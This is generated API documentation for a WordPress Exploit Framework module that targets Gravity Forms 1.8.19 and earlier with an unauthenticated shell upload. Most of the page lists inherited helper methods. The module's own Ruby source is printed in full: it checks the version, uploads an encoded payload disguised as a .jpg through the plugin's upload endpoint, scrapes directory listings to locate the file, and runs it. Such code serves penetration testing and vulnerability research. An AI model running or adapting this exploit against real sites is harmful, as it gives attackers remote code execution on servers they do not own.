Class: Wpxf::Exploit::GravityFormsV1819ShellUpload

Inherits:
Module
  • Object
show all
Includes:
WordPress::ShellUpload
Defined in:
lib/wpxf/modules/exploit/shell/gravity_forms_v1.8.19_shell_upload.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from WordPress::ShellUpload

#before_upload, #execute_payload, #expected_upload_response_code, #payload_name, #payload_name_extension, #possible_payload_upload_locations, #run, #timestamp_range_adjustment_value, #upload_result, #upload_timestamp_range

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #run, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ GravityFormsV1819ShellUpload

Returns a new instance of GravityFormsV1819ShellUpload.



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# File 'lib/wpxf/modules/exploit/shell/gravity_forms_v1.8.19_shell_upload.rb', line 6

def initialize
  super

  update_info(
    name: 'Gravity Forms <= 1.8.19 Unauthenticated Shell Upload',
    author: [
      'Sucuri.net', # Discovery and disclosure
      'rastating'   # WPXF module
    ],
    references: [
      ['WPVDB', '7820']
    ],
    date: 'Dec 08 2014'
  )

  register_option(
    IntegerOption.new(
      name: 'form_id',
      desc: 'A valid Gravity Forms form ID',
      default: 1,
      required: true
    )
  )
end

Instance Method Details

#check ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/gravity_forms_v1.8.19_shell_upload.rb', line 31

def check
  changelog = normalize_uri(wordpress_url_plugins, 'gravityforms', 'change_log.txt')
  check_version_from_custom_file(changelog, /Version\s+(\d+\.\d+(\.\d+)*)/, '1.8.20')
end

#form_id ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/gravity_forms_v1.8.19_shell_upload.rb', line 36

def form_id
  normalized_option_value('form_id')
end

#payload_body_builder ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/gravity_forms_v1.8.19_shell_upload.rb', line 51

def payload_body_builder
  builder = Utility::BodyBuilder.new
  builder.add_field('name', payload_name)
  builder.add_field('field_id', 1)
  builder.add_file_from_string('file', payload.encoded, "#{Utility::Text.rand_alpha(5)}.jpg")
  builder
end

#scrape_upload_folder ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/gravity_forms_v1.8.19_shell_upload.rb', line 59

def scrape_upload_folder
  emit_info 'Scraping target for the upload location...'
  uploads_url = normalize_uri(wordpress_url_uploads, 'gravity_forms')
  res = execute_get_request(url: uploads_url)

  unless res && res.code == 200
    emit_error 'The target appears to have directory listing disabled'
    emit_error "Code: #{res.code}", true
    return nil
  end

  name = res.body[/href="(#{form_id}\-[a-z0-9\/]+?)"/i, 1]
  emit_success "Found directory: #{name}"
  name
end

#upload_request_params ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/gravity_forms_v1.8.19_shell_upload.rb', line 44

def upload_request_params
  {
    'gf_page' => 'upload',
    'form_id' => form_id
  }
end

#uploaded_payload_location ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/gravity_forms_v1.8.19_shell_upload.rb', line 87

def uploaded_payload_location
  directory = scrape_upload_folder
  return false unless directory
  normalize_uri(wordpress_url_uploads, 'gravity_forms', directory, 'tmp', "_input_#{form_id}_#{payload_name}")
end

#uploader_url ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/gravity_forms_v1.8.19_shell_upload.rb', line 40

def uploader_url
  full_uri
end

#validate_upload_result ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/gravity_forms_v1.8.19_shell_upload.rb', line 75

def validate_upload_result
  return false unless upload_result && upload_result.code == 200
  res = JSON.parse(upload_result.body)

  if res['status'] == 'error'
    emit_error "Upload failed: #{res['error']['message']}"
    return false
  end

  true
end